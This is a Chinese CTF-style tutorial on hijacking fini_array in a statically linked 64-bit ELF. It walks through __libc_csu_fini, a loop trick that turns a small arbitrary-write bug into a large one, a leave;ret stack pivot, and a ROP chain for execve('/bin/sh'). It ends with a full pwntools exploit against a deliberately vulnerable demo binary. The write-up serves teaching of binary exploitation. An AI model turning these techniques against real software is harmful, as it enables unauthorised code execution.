这篇文章源自pwnable.tw 上的一道题目3x17
,其中用到了fini_array
劫持,比较有意思,于是写篇文章分析记录总结一下关于fini_array
的利用方式~
0x0 背景 用gdb
调试main
函数的时候,不难发现main
的返回地址是__libc_start_main
也就是说main
并不是程序真正开始的地方,__libc_start_main
是main
的爸爸
然鹅,__libc_start_main
也有爸爸,他就是_start
也就是Entry point
程序的进入点啦,可以通过readelf -h
查看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ELF Header: Magic: 7f 45 4c 46 02 01 01 03 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - GNU ABI Version: 0 Type: EXEC (Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x401a60 Start of program headers: 64 (bytes into file) Start of section headers: 835672 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 8 Size of section headers: 64 (bytes) Number of section headers: 31 Section header string table index: 30
这是一个64位静态编译的ELF程序
其中,Entry point address: 0x401a60
就是_start
的地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 .text :0000000000401 A60 public start .text :0000000000401 A60 start proc near .text :0000000000401 A60 ; __unwind { .text :0000000000401 A60 xor ebp, ebp .text :0000000000401 A62 mov r9, rdx .text :0000000000401 A65 pop rsi .text :0000000000401 A66 mov rdx, rsp .text :0000000000401 A69 and rsp, 0F FFFFFFFFFFFFFF0h .text :0000000000401 A6D push rax .text :0000000000401 A6E push rsp .text :0000000000401 A6F mov r8, offset sub_402BD0 ; fini .text :0000000000401 A76 mov rcx, offset loc_402B40 ; init .text :0000000000401 A7D mov rdi, offset main .text :0000000000401 A84 db 67 h .text :0000000000401 A84 call __libc_start_main .text :0000000000401 A8A hlt .text :0000000000401 A8A ; } .text :0000000000401 A8A start endp
64位程序通过寄存器来保存函数参数:
1 2 3 4 5 6 rdi - first argument rsi - second argument rdx - third argument rcx - fourth argument r8 - fifth argument r9 - sixth argument
0x1 __libc_start_main分析 对应_start
的代码,可以发现__libc_start_main
函数的参数中,有3个是函数指针:
rdi
<- main
rcx
<- __libc_csu_init
r8
<- __libc_csu_fini
不难想到,除main
以外的这两位兄弟,一位在main
开始执行前执行,一位在main
执行完毕后执行
__libc_csu_fini函数 __libc_csu_fini
就是在main
执行完毕后执行的那位,这兄弟虽然只有短短几行指令,但是能利用的点却不少,他长这样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 pwndbg> x/20 i 0x402bd0 0x402bd0 <__libc_csu_fini>: push rbp 0x402bd1 <__libc_csu_fini+1 >: lea rax,[rip+0xb24e8 ] # 0x4b50c0 0x402bd8 <__libc_csu_fini+8 >: lea rbp,[rip+0xb24d1 ] # 0x4b50b0 0x402bdf <__libc_csu_fini+15 >: push rbx 0x402be0 <__libc_csu_fini+16 >: sub rax,rbp 0x402be3 <__libc_csu_fini+19 >: sub rsp,0x8 0x402be7 <__libc_csu_fini+23 >: sar rax,0x3 0x402beb <__libc_csu_fini+27 >: je 0x402c06 <__libc_csu_fini+54 > 0x402bed <__libc_csu_fini+29 >: lea rbx,[rax-0x1 ] 0x402bf1 <__libc_csu_fini+33 >: nop DWORD PTR [rax+0x0 ] 0x402bf8 <__libc_csu_fini+40 >: call QWORD PTR [rbp+rbx*8 +0x0 ] 0x402bfc <__libc_csu_fini+44 >: sub rbx,0x1 0x402c00 <__libc_csu_fini+48 >: cmp rbx,0xffffffffffffffff 0x402c04 <__libc_csu_fini+52 >: jne 0x402bf8 <__libc_csu_fini+40 > 0x402c06 <__libc_csu_fini+54 >: add rsp,0x8 0x402c0a <__libc_csu_fini+58 >: pop rbx 0x402c0b <__libc_csu_fini+59 >: pop rbp 0x402c0c <__libc_csu_fini+60 >: jmp 0x48f52c <_fini>
下面先概括的说下这个函数可利用的点,在后面会详细分析
利用方式 - 栈迁移 首先,看下面这条指令:
1 0x402bd8 : lea rbp,[rip+0xb24d1 ] # 0x4b50b0
rbp = 0x4b50b0
,0x4b50b0
是fini_array
的首地址
这条指令相当于lea rbp,[fini_array]
,因此,在这里配合gadget
:
1 2 leave ; (mov rsp,ebp; pop rbp) ret
便可以把栈迁移 到fini_array
(fini_array
存储的函数指针,可能有写权限 )
利用方式 - 控制流劫持 下面还有一条call
指令:
1 0x402bf8 : call QWORD PTR [rbp+rbx*8 ]
rbp
即为fini_array
,因此这里将调用fini_array
中的函数
只要修改fini_array
中的值,就可以实现控制流的转移 啦(传说中的fini_array
劫持)
这里分析的64位的静态编译程序,可见其中的__libc_csu_fini
函数简直好用的不得了鸭,既可以完成栈迁移 ,又能够劫持控制流
动态链接的程序__libc_csu_fini
很短,并没有上述指令..但是也有类似fini_array的函数指针
0x2 fini_array分析 fini_array
的地址可通过查看静态编译程序的section
信息获得:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 pwndbg> elfheader 0x400200 - 0x400224 .note.gnu.build-id0x400224 - 0x400244 .note.ABI-tag0x400248 - 0x400470 .rela.plt0x401000 - 0x401017 .init0x401018 - 0x4010d0 .plt0x4010d0 - 0x48d630 .text 0x48d630 - 0x48f52b __libc_freeres_fn0x48f52c - 0x48f535 .fini0x490000 - 0x4a95dc .rodata0x4a95dc - 0x4a95dd .stapsdt.base0x4a95e0 - 0x4b3d00 .eh_frame0x4b3d00 - 0x4b3da9 .gcc_except_table0x4b5080 - 0x4b50a0 .tdata0x4b50a0 - 0x4b50b0 .init_array0x4b50a0 - 0x4b50e0 .tbss0x4b50b0 - 0x4b50c0 .fini_array0x4b50c0 - 0x4b7ef4 .data.rel.ro0x4b7ef8 - 0x4b7fe8 .got0x4b8000 - 0x4b80d0 .got.plt0x4b80e0 - 0x4b9bf0 .data0x4b9bf0 - 0x4b9c38 __libc_subfreeres0x4b9c40 - 0x4ba2e8 __libc_IO_vtables0x4ba2e8 - 0x4ba2f0 __libc_atexit0x4ba300 - 0x4bba78 .bss0x4bba78 - 0x4bbaa0 __libc_freeres_ptrs
其中0x4b50b0 - 0x4b50c0
即.fini_array
数组,其中存在两个函数指针:
1 2 3 4 5 6 pwndbg> x/2 xg 0x4b50b0 0x4b50b0 : 0x0000000000401b10 0x0000000000401580 pwndbg> x/i 0x0000000000401b10 0x401b10 <__do_global_dtors_aux>: cmp BYTE PTR [rip+0xb87e9 ],0x0 pwndbg> x/i 0x0000000000401580 0x401580 <fini>: mov rax,QWORD PTR [rip+0xb9b71 ]
array[0]
->__do_global_dtors_aux
array[1]
->fini
这两个函数都会在main
执行完毕后执行,因此只要覆盖这两个函数指针,即可实现控制流的劫持
此外,静态链接的程序也有PLT
表和GOT
表,也可以覆盖通过GOT
中的函数指针实现控制流劫持
上述fini_array
中的两个函数指针在__libc_csu_fini
(上文说的那位兄弟)中被执行
执行的顺序是array[1]->array[0]
(后有详解)
0x3 一种好玩儿的利用方式 循环大法 一种比较好玩儿的操作:
把array[0]
的值覆盖为那位兄弟(__libc_csu_fini
函数)的地址
把array[1]
的值覆盖为另一个函数地址,就叫他addrA
吧
于是,main
执行完毕后执行__libc_csu_fini
,于是有意思的来了!
__libc_csu_fini
先执行一遍array[1]:addrA
,返回后再执行array[0]:__libc_csu_fini
__libc_csu_fini
先执行一遍array[1]:addrA
,返回后再执行array[0]:__libc_csu_fini
__libc_csu_fini
先执行一遍array[1]:addrA
,返回后再执行array[0]:__libc_csu_fini
……
看!连起来啦~ main
->__libc_csu_fini
->addrA
->__libc_csu_fini
->addrA
-> ......
因吹斯汀~
详细过程 详细的过程如下:
1 2 3 4 5 6 0x402bd1 <__libc_csu_fini+1 >: lea rax,[rip+0xb24e8 ] # 0x4b50c0 0x402bd8 <__libc_csu_fini+8 >: lea rbp,[rip+0xb24d1 ] # 0x4b50b0 0x402bdf <__libc_csu_fini+15 >: push rbx0x402be0 <__libc_csu_fini+16 >: sub rax,rbp0x402be3 <__libc_csu_fini+19 >: sub rsp,0x8 0x402be7 <__libc_csu_fini+23 >: sar rax,0x3
rax = 0x4b50c0 - 0x4b50b0 = 0x10
rax = 0x10 >> 3 = 2
1 2 3 0x402bed <__libc_csu_fini+29 >: lea rbx,[rax-0x1 ]0x402bf1 <__libc_csu_fini+33 >: nop DWORD PTR [rax+0x0 ]0x402bf8 <__libc_csu_fini+40 >: call QWORD PTR [rbp+rbx*8 +0x0 ]
rbx = rax-1 = 1
call [rbp+rbx*8+0x0]
即call array[1]
即call addrA
1 2 3 0x402bfc <__libc_csu_fini+44 >: sub rbx,0x1 0x402c00 <__libc_csu_fini+48 >: cmp rbx,0xffffffffffffffff 0x402c04 <__libc_csu_fini+52 >: jne 0x402bf8 <__libc_csu_fini+40 >
addrA
执行完毕后返回到0x402bfc
rbx = rbp - 1 = 0
rbx != -1
,满足跳转条件
于是,程序控制流又回到了那位兄弟手中:
1 0x402bf8 <__libc_csu_fini+40 >: call QWORD PTR [rbp+rbx*8 +0x0 ]
此时执行的是call array[1]
即call __libc_csu_fini
(call
自己个儿啊)
于是循环往复,只要array[0]
中的__libc_csu_fini
值不变,程序就会一直循环执行addrA
当然,将array[1]
中的addrA
改成其他的addrB
、addrC
也都会执行
想要终止循环 ,只需把array[0]
中的__libc_csu_fini
换掉即可
就这样,那位兄弟只要占住了array[0]
这个坑,就可以让addrA
无限次的执行下去啦
小结一下
x64
静态编译程序,劫持fini_array
array[0]
覆盖为__libc_csu_fini
array[1]
覆盖为另一地址addrA
程序将循环执行addrA
终止条件为array[0]
不再为__libc_csu_fini
相当于:
1 2 3 while (array [0 ] == __libc_csu_fini){ addrA(); }
这其实是一种可以让漏洞被重复利用 的方式,比如addrA
中存在任意写一 字节内存漏洞,通过上面这个循环就可以将漏洞放大,实现任意写多 字节
0x4 ROP攻击 上述利用方式可以与ROP
攻击相结合
虽说直接用one_gadget比较方便,但是有时还是需要用到ROP的…
栈迁移 由于劫持控制流的位置是在程序执行完毕后的fini_array
中,因此在ROP攻击前,需要先进行栈迁移 :
leave; ret
相当于执行如下操作:
mov rsp, rbp
(fini_array
->rsp
)
pop rbp
(fini_array
->rbp
)
ret
(fini_array+0x8
->ret
)
这里有两种栈迁移方法:
第一种:在array[1]
处迁移栈(需迁移两次)
fini_array+0x0:(data)fini_array+0x8
fini_array+0x8:(gadget)leave_ret
fini_array+0x10:rop chain
第二种:跳过array[1]
,在array[0]
处迁移栈
fini_array+0x0
:(gadget)leave_ret
fini_array+0x8
:(gadget)ret
fini_array+0x10:rop chain
这两种方法都可以达到栈迁移的目的,直接说比较难理解,待会实际调试一下就明白啦(下面有例子)
总之,向fini_array+0x10
,fini_array+0x18...
中依次布置gadget
构造好了ROP
链,就可以完成ROP
攻击啦~
举个栗子 1 2 3 4 5 6 7 8 9 10 11 12 #include <stdio.h> #include <stdlib.h> int main (int argc, char *argv[]) { char buf[30 ]; write (1 ,"addr:" ,5 ); read (0 ,&buf,200 ); int *addr = buf; write (1 ,"data:" ,5 ); read (0 ,*addr,24 ); return 0 ; }
1 $ gcc demo.c -no-pie --static -o demo
漏洞分析 很明显,存在任意写内存的漏洞,可以改写任意内存位置的连续24个字节。利用方式如下:
1 2 3 4 ru('addr:' ) sl(p64(addr)) ru('data:' ) se(p64(data1)+p64(data2)+p64(data3))
漏洞放大 24字节显然不够,于是可以用上文提到的循环大法:
array[0]
->__libc_csu_fini
array[1]
->main
让main
函数多执行几次,这样就可以控制足够大的内存空间,往里面布置ROP
链啦~
攻击思路 就这个栗子而言,ROP
攻击的思路大概是这样:
利用任意写,劫持fini_array
循环执行main
,利用任意写,将ROP
链布置到fini_array+0x10
终止循环,并将栈迁移到fini_array+0x10
执行ROP
链
劫持fini_array+循环利用 改写fini_array
的两个函数指针,开启循环大法:
array[0]
->__libc_csu_fini
array[1]
->main
1 2 3 4 ru('addr:' ) sl(p64(fini_array)) ru('data:' ) se(p64(libc_csu_fini)+p64(main))
布置ROP链 执行SYS_execve('/bin/sh',0,0)
,需要完成以下寄存器的布局:
1 2 3 4 RAX 0x3b RDI addr -> '/bin/sh' RDX 0 RSI 0
对应的ROP
链如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 pop_rdi=0x00000000004016a6 pop_rax=0x0000000000447bbc pop_rdx_rsi=0x000000000044a659 syscall = 0x0000000000402434 bin_sh_addr=fini_array+0x50 ropchain = [p64(pop_rdi),p64(bin_sh_addr), p64(pop_rax),p64(0x3b ), p64(pop_rdx_rsi),p64(0 ),p64(0 ), p64(syscall), "/bin/sh\x00" ] for i in range(len(ropchain)): ru('addr:' ) sl(p64(fini_array+0x10 +i*8 )) ru('data:' ) se(ropchain[i])
跳出循环 布置完ROP
链,就可以跳出循环了,改写fini_array
中的函数指针,顺便准备栈迁移
array[0]
->gadget:leave;ret
array[1]
->gadget:ret
1 2 3 4 ru('addr:' ) sl(p64(fini_array)) ru('data:' ) se(p64(leave)+p64(ret))
栈迁移 跳出循环后,通过leave_ret
完成栈迁移 ,执行ROP
链:
这里用的是上文中的第二种栈迁移方式:
fini_array+0x0
:(gadget)leave_ret
fini_array+0x8
:(gadget)ret
fini_array+0x10:rop chain
这是因为循环大法中的array[1]
是main
,main
返回后将执行array[0]
处的函数:
leave
执行前:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ► 0x401c29 <main+172 > leave 0x401c2a <main+173 > ret ↓ 0x401016 <_init+22 > ret ↓ 0x4016a6 <init_cacheinfo+230 > pop rdi 0x4016a7 <init_cacheinfo+231 > ret ↓ 0x447bbc <__open_nocancel+92 > pop rax pwndbg> x/10 xg $rsp 0x7fff85f385c8 : 0x0000000000402bfc 0x00000000004b50f8 0x7fff85f385d8 : 0x0000000000000000 0x00000000004b50b0 0x7fff85f385e8 : 0x0000000000402bfc 0x00000000004b50f0 0x7fff85f385f8 : 0x0000000000000000 0x00000000004b50b0 0x7fff85f38608 : 0x0000000000402bfc 0x00000000004b50e8
leave
执行后,栈被迁移到fini_array+0x8
,即array[1]
,但是这里并不是ROP
链的开始,因此需要在array[1]
这里用只含ret
一个指令的gadget
,让控制流后移,进入到fini_array+0x10
的ROP
链中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 0x401c29 <main+172 > leave ► 0x401c2a <main+173 > ret <0x401016 ; _init+22 > ↓ 0x401016 <_init+22 > ret ↓ 0x4016a6 <init_cacheinfo+230 > pop rdi 0x4016a7 <init_cacheinfo+231 > ret ↓ 0x447bbc <__open_nocancel+92 > pop rax pwndbg> x/10 xg $rsp 0x4b50b8 : 0x0000000000401016 0x00000000004016a6 0x4b50c8 : 0x00000000004b5100 0x0000000000447bbc 0x4b50d8 : 0x000000000000003b 0x000000000044a659 0x4b50e8 : 0x0000000000000000 0x0000000000000000 0x4b50f8 : 0x0000000000402434 0x0068732f6e69622f
ROP
链执行完毕后就会执行SYS_execve('/bin/sh',0,0)
啦~
exp 最后,附上这个栗子的exp
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 from pwn import *local_file = './pwn4' local_libc = '/lib/x86_64-linux-gnu/libc.so.6' remote_libc = local_libc if len(sys.argv) == 1 : p = process(local_file) libc = ELF(local_libc) elif len(sys.argv) > 1 : if len(sys.argv) == 3 : host = sys.argv[1 ] port = sys.argv[2 ] else : host, port = sys.argv[1 ].split(':' ) p = remote(host, port) libc = ELF(remote_libc) elf = ELF(local_file) context.log_level = 'debug' context.arch = elf.arch se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4 , '\0' )) uu64 = lambda data :u64(data.ljust(8 , '\0' )) info_addr = lambda tag, addr :p.info(tag + ': {:#x}' .format(addr)) def debug (cmd='' ) : gdb.attach(p,cmd) leave = 0x0000000000401c29 ret = 0x0000000000401016 pop_rdi=0x00000000004016a6 pop_rax=0x0000000000447bbc pop_rdx_rsi=0x000000000044a659 syscall = 0x0000000000402434 fini_array = 0x4b50b0 libc_csu_fini = 0x0402BD0 main = 0x0401B7D bin_sh_addr=fini_array+0x50 ropchain = [p64(pop_rdi),p64(bin_sh_addr), p64(pop_rax),p64(0x3b ), p64(pop_rdx_rsi),p64(0 ),p64(0 ), p64(syscall), "/bin/sh\x00" ] ru('addr:' ) sl(p64(fini_array)) ru('data:' ) se(p64(libc_csu_fini)+p64(main)) for i in range(len(ropchain)): ru('addr:' ) sl(p64(fini_array+0x10 +i*8 )) ru('data:' ) se(ropchain[i]) ru('addr:' ) sl(p64(fini_array)) ru('data:' ) se(p64(leave)+p64(ret)) p.interactive()
0x5 总结 以上就是如何利用fini_array
部署、启动一次ROP
攻击
为了方便说明,这篇文章中我用的是64位静态编译程序,没开启PIE保护,GOT表等函数指针也可以改写,但是这并不说明这种利用方式是有局限的。即使保护全开,不是静态编译,也可以通过同样的思路进行攻击,比如ACTF2020
的fmt64
,就是利用这种思路进行攻击的。传送门